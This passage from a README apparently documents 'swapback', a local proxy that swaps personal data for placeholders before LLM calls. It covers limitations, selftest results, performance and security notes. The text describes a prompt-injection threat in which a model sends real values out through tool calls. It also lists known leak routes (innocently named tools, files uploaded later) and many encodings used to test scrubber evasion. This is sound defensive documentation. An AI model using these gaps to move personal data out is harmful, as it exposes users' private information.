• Streaming. OpenAI chat.completion.chunk, OpenAI Responses API (/v1/responses, as used by Codex) and Anthropic Messages streams are restored. Anthropic thinking deltas are left as sent, since they are signed. Other streams pass through with placeholders left in. When a held-back piece is sent as an extra Responses delta, later sequence_numbers are shifted so they stay unique and increasing. Non-streaming JSON replies of any shape are restored. Plain-text streams hold back at most one partial placeholder (up to 24 characters), so chunks can arrive slightly regrouped. A streamed reply whose text is itself escaped JSON is held back longer (measured: up to about 20 characters at 2 levels, up to about 300 at 8, about one escaped placeholder) and arrives in bursts. The text is unchanged either way.
• Long streamed replies that are themselves escaped JSON are restored slowly. The time grows roughly with the square of the reply's length. Measured on a shared 4-core test box with two different test models (the time depends on how the model splits its stream): 10 KB in 0.4–3 s and 40 KB in 6–42 s at 2 JSON levels, 10 KB in 0.3–18 s at 8 levels. scrub_timeout_s does not cover the restore, so such a reply is slow, not cut off. Not affected: non-streamed replies (160 KB at 2 levels in 0.3 s), plain-text streams (160 KB in about 4 s) and streamed tool-call arguments. It needs a reply of several thousand tokens that is escaped JSON, which is rare in chat.
• A name split by a comma and a line break, across quoted CSV columns, or by a bar with no blank beside it, is blocked, not swapped. Faith,\nRidge and "Faith","Ridge" (a quoted CSV row, or two strings next to each other in a JSON array) answer 503: nothing leaks, but the blocked text stays in the chat history, so later requests that carry it are blocked too until it is removed. The same goes for a bar with no blank beside it (|Faith|Ridge|). One comma within a line (Faith, Ridge), an unquoted CSV row (3,Faith,Ridge,Reno) and markdown table cells with a blank on each side of the bar (| Faith | Ridge |, Owners: Faith | Ridge) are swapped, and come back exactly as written.
• Part of a listed address on its own is not swapped. A listed address is swapped whole (as listed, on one line, with commas, quoted, or with its lines joined by tags). One or two of its lines on their own (just the street line, the street line and the unit, the unit and the city line) go out as written, unless the street-address pattern catches the street line, and it knows only common suffixes (Street, Ave, Road, Lane ... Trail; not Crossing, Mews or Wharf). To protect the street line by itself, list it separately as well.
• JSON bodies only. Multipart uploads and binary bodies pass through untouched; data: URLs (images) are not scanned. Token-id inputs to embeddings and completions are blocked, since they cannot be checked.
• The tool policy is a heuristic. It reads tool names and looks for URLs. A tool with a harmless name that still sends data out (say notes_sync posting to a server) gets real values unless you deny it or set default: keep. A value can also leave through a tool that writes a file which something else uploads later.
• The model sees placeholders. Answers that depend on the real value (spell this name, count the digits) will be wrong or vague.
• One vault, one machine. Placeholders are stable across all conversations on one machine. It is a single-process tool meant to run next to the client on loopback.

Leak test (swapback selftest)

swapback selftest          # or: swapback selftest --json

It needs no config, key or network. A recording fake model and the proxy start on loopback ports with a fixed list of made-up values shipped in the package: 15 names (5 with accents, 6 made only of ordinary words), 4 emails, 7 phones (US, India, UK, Australia, Germany, France), 4 IDs and 4 addresses (one of them multi-line). Each value is sent in 4–14 written forms (as written, upper case, surname first, accent-free, hyphen variants, other phone groupings, glued extensions, compact IDs, two-line addresses, address lines joined by <br> or by a tag plus a line break, and the encoded forms: quote_plus URL/form encoding, + or / between words, decomposed accents (NFD), a zero-width space inside a word, fullwidth digits) through 7 paths: OpenAI chat, chat streamed, chat with the value in tool-call arguments and a json.dumps tool result, Anthropic streamed, Anthropic tool_use/tool_result, Responses streamed and Responses function_call/function_call_output. The fake model echoes the user text, so the round trip is checked too: forms written as plain text must come back byte for byte; %XX-encoded forms come back as the same value in its decoded spelling. The leak check does not use swapback's matcher: it decodes JSON (nested), \uXXXX, HTML entities, %XX and + on the model side, removes zero-width characters, applies NFKD (accents, fullwidth), folds case, and looks for each value's name words, email, phone digits, ID characters and street line. It also runs the egress re-check on its own, with the swap switched off, on every form as text, as a json.dumps tool result and as JSON inside JSON.

0.4.14 on Python 3.13:

swapback selftest: 34 made-up listed values, 257 written forms, 7 paths, 1799 requests (9.2 s)
  listed values caught (no form reached the model): 34/34 (100.0%)
  forms leaked to the model:                        0 of 1799 sent
  egress re-check alone (swap off) sees the form:   771/771 (100.0%)
  skeleton layer alone (no matcher rules) sees it:  514/514 (100.0%)  (reported; ordinary sentences it flags: 0)
  ordinary sentences left untouched:                57/57 (100.0%)
  exact round trips:                                1694/1694 (100.0%)
  JSON-in-JSON multi-line restores, valid + exact:  58/58 (100.0%)
  JSON in a ```json fence / inline / pasted, valid:  87/87 (100.0%)
  addresses joined by <br>\n etc. in JSON, swapped:  60/60 (100.0%)  (leaked: 0)
  doubly escaped placeholders in tool args restored: 68/68 (100.0%)
  JSON nested 1-8 levels, every level valid + exact: 96/96 (100.0%)
  nested 9+ levels (256+ backslashes), blocked:      10/10 (100.0%)  (16-level body: 0.00 s)
  dictionary-word names across sentences/HTML blocks: 7/7 (100.0%)
  missing/broken config file, one readable line:     5/5 (100.0%)
  tool args, mixed escaping, 1-8 inner levels valid: 96/96 (100.0%)
  \u00ab-escaped placeholders in text JSON restored: 6/6 (100.0%)
  dictionary-word names in one-word HTML cells:      7/7 (100.0%)
  bad listen / port in use, one readable line:       3/3 (100.0%)
  names in one-word cells anywhere in a row/list:    194/194 (100.0%)
  example placeholders unassigned, broken YAML said: 3/3 (100.0%)
  quoted attributes between a value's parts, exact:  36/36 (100.0%)
  cell names in escaped HTML (\u003c, <\/, &lt;):    36/36 (100.0%)
  cell names reused, dotted I, quoted, many copies:  11/11 (100.0%)  (9,000 copies: 0.32 s)
  cell names 7-8 JSON levels down, raw/Go/PHP/&lt;:  32/32 (100.0%)
  cells reused, comma/CSV/| names, dotted i, | quotes: 18/18 (100.0%)  (20 KB of copies 8 levels down: 0.75 s)
  emails/phones right after \\u003e, \\u0026, \\u003c:      48/48 (100.0%)
  keys/emails/phones next to escapes (#14 F6-F8):   36/36 (100.0%)
  200 KB %XX body checked in:                       0.49 s
  health: blocked when the list breaks, known count: 5/5 (100.0%)
  %XX-encoded forms back as the same value, decoded: 105/105 (100.0%)
  unlisted values caught by the pattern detectors:  6/8 (75.0%)  (reported, not a pass condition; names are never caught without a list)
PASS

The 0.4.10 selftest adds the review #10 forms: a listed address or name whose parts are separated by tags with quoted attributes (<div dir="ltr">, <p class>, <br class>, <td class>, <li data-x>, <span class>, an attribute menu with the listed pair in it) inside JSON at 1 and 2 levels, ASCII-escaped and raw (swapped, back byte for byte); the review #9 cell layouts with the HTML escaped inside JSON (\u003c, <\/td>, <); a name swapped out of cells and reused in a greeting and in a tool call's to_name (the listed name); a name with a capital dotted I; a > -quoted address; and 9,000 copies of a listed email in one string (under 10 seconds). The 0.4.11 selftest adds the review #11 forms: names in one-word <div dir="ltr">, <td class/style>, plain <td> and <li> cells nested 7 and 8 JSON levels deep, as raw, Go-escaped (\u003c), PHP-escaped (<\/td>) and <-entity HTML (swapped, back byte for byte); a name taken from <td> cells reused in <li> and <p> (the listed name) and in a <td> (the cells); a name split by a comma in prose and across CSV columns, plain and in JSON; i + a combining dot; a | -quoted address; about 20 KB of copies of a listed address 8 JSON levels down (under 5 seconds); and the time limit (scrub_timeout_s, a 503 with a one-line reason). The 0.4.13 selftest adds emails and phone numbers, listed and unlisted, right after Go-style \u003e, \u0026 and \u003c, 1-3 JSON levels down (swapped whole, back byte for byte, valid JSON). The 0.4.12 selftest adds a name split across markdown table cells (| 3 | Faith | Ridge | Reno |, plain and in JSON; swapped, back byte for byte) and a non-numeric and a negative scrub_timeout_s (one readable line each). The 0.4.9 selftest added the review #9 forms: a listed dictionary-word name split across one-word cells or blocks in 21 layouts (a third cell after the name, a First/Last/City header row, a leading id or word cell, pretty-printed rows, class= attributes, two data rows, three <li> or <div> items, <p> blocks in an email, mixed case), as text, a JSON tool result and an HTML email in JSON (the name must not reach the model), ordinary one-word blocks and a pair split across two rows (left alone), the system note's example placeholders (slot 0, never assigned, so a reply that copies them gets no real value), and a known file with broken YAML (the error says so). The 0.4.8 selftest added the review #8 forms: tool-call arguments with mixed escaping (the outer level ASCII-escaped around raw inner JSON, the other way round, and alternating), 1 to 8 inner levels, plain and streamed (every level must parse and the value come back exact); \u00ab-escaped placeholders in a text reply (a json fence, inline JSON, two levels; restored) and in prose outside JSON (left as written); a dictionary-word name whose words each fill one HTML block (a first/last-name table row, list items, divs: swapped) next to ordinary block text (left alone); and a bad `listen` value and a port already in use (one readable line each). The 0.4.7 selftest added the review #7 forms: a multi-line address, a tab-joined name and an accented name inside JSON nested 1 to 8 levels deep (`json.dumps` of `json.dumps` ...), each restored plain and streamed (every level must parse, ASCII values byte for byte), the same values nested 9, 10 and 12 levels deep and a large 16-level body (all must be blocked, the large one fast), a dictionary-word name next to a sentence end, a blank line and separate HTML elements (left alone) or an inline tag and `<br>` (swapped), and a missing, broken and non-mapping config file (one readable error line each). The 0.4.6 selftest added the review #6 forms: a listed multi-line address with its lines joined by `<br>\n`, `<br />\n`, `<br/>\r\n` or `</p>\n<p>`, sent through the 7 paths and as a `json.dumps` tool result, tool-call arguments in the history and a literal `\n` four JSON string levels deep (all must be swapped, not blocked), and placeholders the model writes ASCII-escaped inside a JSON string inside tool-call arguments (`\\u00ab…\\u00bb`), which must be restored with both JSON levels valid. The 0.4.5 selftest added the review #5 forms: a multi-word name written as path segments (`A/B/C`, `/Users/A/B/notes.txt`), addresses with lines joined by `<br>`, multi-line values restored into JSON inside a json fence, inline in a sentence and pasted with \n escapes, a timed 200 KB %XX body, and health's known count. The 0.4.4 selftest added the review #4 forms (a listed phone with x22/ext9/letters glued on, after Mob, in a host-less URL path; a hyphenated name with the hyphen as a space or as nothing, also surname first; ALL-CAPS headings as ordinary sentences), a JSON-inside-JSON restore of multi-line values, and a health check while the list file is deleted and broken. "Skeleton layer alone" runs only the matcher-free part of the re-check; the forms it does not cover by design (lower-case and ALL-CAPS dictionary-word names) are not sent.

Performance

Measured by tests/test_latency.py on a synthetic chat request of about 19,000 characters with 13 messages, on a laptop CPU (AMD Ryzen 7 4700U, Python 3.13):

Large encoded bodies are checked in linear time: a 200 KB body of %XX, base64, form data or HTML entities takes 0.1–0.7 s (0.4.4: 18 s for 48 KB of %41, over 100 s for a 165 KB form body), and /scrubber/health keeps answering meanwhile (0.02 s worst case while a 165 KB form body was checked).

Many copies of one listed value inside deeply nested JSON are checked in linear time since 0.4.11. Measured on the release test box (Python 3.11): copies of a listed three-line address 8 JSON levels deep, 50 KB before nesting (577,000 characters as sent) in 2.2 s and 100 KB in 4.1 s (0.4.10: 11 s and 44 s for 50 and 100 KB at 8 levels, quadratic); 880 KB nested 8 levels deep (10 MB as sent) runs past the 10-second scrub_timeout_s and is answered 503; the same 880 KB at 1 level takes 2.8 s.

Security notes

• The proxy listens on loopback and refuses other addresses unless you set allow_remote: true. It has no authentication of its own; anything that can reach the port can use it.
• Your provider key passes through in the Authorization header and is not stored.
• The vault (vault.json) holds the real values in plain JSON, readable only by your user (0600). Treat the state directory as sensitive.
• Tool calls that look like network or shell egress, or carry a URL, keep placeholders by default, so a prompt-injected model cannot have your client send real values out through them. See Tool calls.
• The request log records counts and types per request, never values.
• X-Scrubber-Raw: 1 returns the provider's answer without the restore. The canary uses it to prove what the provider saw.
• Report vulnerabilities privately; see SECURITY.md.

Detection score (patterns only)

evals/holdout3.json holds 64 synthetic cases (invented values only): 42 with something to catch, 22 that must pass untouched. python evals/run_holdout.py scores the pattern detectors with no known values listed, so it measures what the scrubber finds on its own. A case counts as caught only if every character of the expected value is swapped. These numbers are not tuned to the holdout; the 0.1.1 rules are generic (bracketed at/dot emails, full-width ＠ and zero-width characters in emails, IPv6).

Read it plainly: with nothing listed, the patterns catch well-formed contact data and miss most free-form secrets, names, dates of birth and non-US addresses. The two phone misses are UK fictional-range numbers (07700 900xxx) that the phone library rejects as invalid. List what matters to you in known.yaml and private_terms.yaml; listed values are caught in every written variant above.

Development

pip install -e ".[test]"
pytest -q                      # the full suite, including the holdout score as a regression floor
python evals/run_holdout.py    # the table above (--misses lists the cases not caught)
python examples/smoke.py       # end-to-end: mock upstream + proxy, plain and streamed

The vendored rule sets live in swapback/vendor (see THIRD_PARTY_NOTICES.md); tools/build_vendor.py regenerates the Presidio patterns.

See CONTRIBUTING.md and the changelog.

Roadmap

• Restore Anthropic Messages streams. Done in 0.1.1.
• Catch separator and case variants of listed values (NBSP, ., _, -, %20, all caps) under one placeholder. Done in 0.1.1.
• Restore OpenAI Responses API streams. Done in 0.3.0.
• Keep placeholders in tool calls that could send data out. Done in 0.3.0.
• Build the known-values file from a contacts export. Done in 0.3.0 (swapback known init).
• Optional, pluggable NER for names you never listed, off by default.
• More national ID and address patterns, with tests from synthetic data.
• Release on PyPI. Done: pip install swapback.
• Hooks for spend caps, local fallback and usage accounting. Done in 0.4.0.
• A public, re-runnable leak test. Done in 0.4.2 (swapback selftest).

Ideas and pull requests are welcome; open an issue first for anything large.

License

MIT, see LICENSE. Bundled rule data: gitleaks (MIT) and Microsoft Presidio (MIT), see THIRD_PARTY_NOTICES.md.